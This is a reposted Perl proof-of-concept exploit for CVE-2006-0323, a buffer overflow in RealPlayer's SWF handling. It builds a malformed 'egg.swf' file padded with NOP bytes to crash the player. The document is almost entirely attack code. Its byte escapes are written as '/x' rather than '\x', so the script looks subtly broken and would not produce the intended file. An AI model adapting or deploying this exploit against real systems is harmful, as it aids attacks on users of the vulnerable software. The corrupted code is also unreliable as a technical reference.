RealPlayer <= 10.5 (6.0.12.1040-1348) SWF Buffer Overflow PoC

CODE:
#!/usr/bin/perl
###################################################
# RealPlayer: Buffer overflow vulnerability / PoC
#
# CVE-2006-0323
# [url]http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0323[/url]
#
# RealNetworks Advisory
# [url]http://service.real.com/realplayer/security/03162006_player/en/[/url]
#
# Federico L. Bossi Bonin
# fbossi[at]netcomm.com.ar
###################################################

# Program received signal SIGSEGV, Segmentation fault.
# [Switching to Thread -1218976064 (LWP 21932)]
# 0xb502eeaf in CanUnload2 () from ./plugins/swfformat.so

my $EGGFILE="egg.swf";
my $header="/x46/x57/x53/x05/xCF/x00/x00/x00/x60";

my $endheader="/x19/xe4/x7d/x1c/xaf/xa3/x92/x0c/x72/xc1/x80/x00/xa2/x08/x01".
        "/x00/x00/x00/x00/x01/x02/x00/x01/x00/x00/x00/x02/x03/x00/x02".
        "/x00/x00/x00/x04/x04/x00/x03/x00/x00/x00/x08/x05/x00/x04/x00".
        "/x00/x00/x00/x89/x06/x06/x01/x00/x01/x00/x16/xfa/x1f/x40/x40".
        "/x00/x00/x00";


open(EGG, ">$EGGFILE") or die "ERROR:$EGGFILE/n";
print EGG $header;

for ($i = 0; $i < 135; $i++) {
$buffer.= "/x90";
}

print EGG $buffer;
print EGG $endheader;
close(EGG);

 
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值